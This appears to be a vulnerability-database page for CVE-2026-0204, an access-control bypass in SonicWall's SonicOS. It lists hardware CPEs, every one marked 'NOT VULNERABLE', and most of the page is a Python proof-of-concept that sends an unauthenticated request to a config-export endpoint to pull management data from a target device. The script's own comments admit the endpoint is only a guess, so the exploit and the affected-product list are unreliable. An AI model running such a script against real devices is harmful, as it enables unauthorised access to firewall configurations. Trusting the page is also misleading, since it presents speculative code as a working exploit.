A vulnerability in the access control mechanism of SonicOS may allow certain management interface functions to be accessible under specific conditions.
cpe:2.3:h:sonicwall:nsa_2800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_3800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_4800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:nsa_5800:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:sonicwall:tz280:-:*:*:*:*:*:*:* - NOT VULNERABLE
SonicOS (具体受影响版本请参考官方公告 SNWLID-2026-0004)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# PoC for CVE-2026-0204: SonicOS Access Control Bypass
# This script attempts to access a sensitive management endpoint without authentication.
# Target IP address of the SonicWall device
target_ip = "https://<TARGET_IP>"
# Example of a sensitive endpoint that might be vulnerable
# (Actual endpoint depends on specific vulnerability details)
vulnerable_endpoint = "/api/sonicos/config/export"
url = f"{target_ip}{vulnerable_endpoint}"
headers = {
"User-Agent": "Mozilla/5.0 (compatible; PoC-Scanner/1.0)",
"Accept": "application/json, text/plain, */*"
}
try:
# Send request without authentication cookies
response = requests.get(url, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Vulnerability Exploited! Management function accessed.")
print("[+] Response:", response.text[:200])
else:
print(f"[-] Failed to exploit. Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")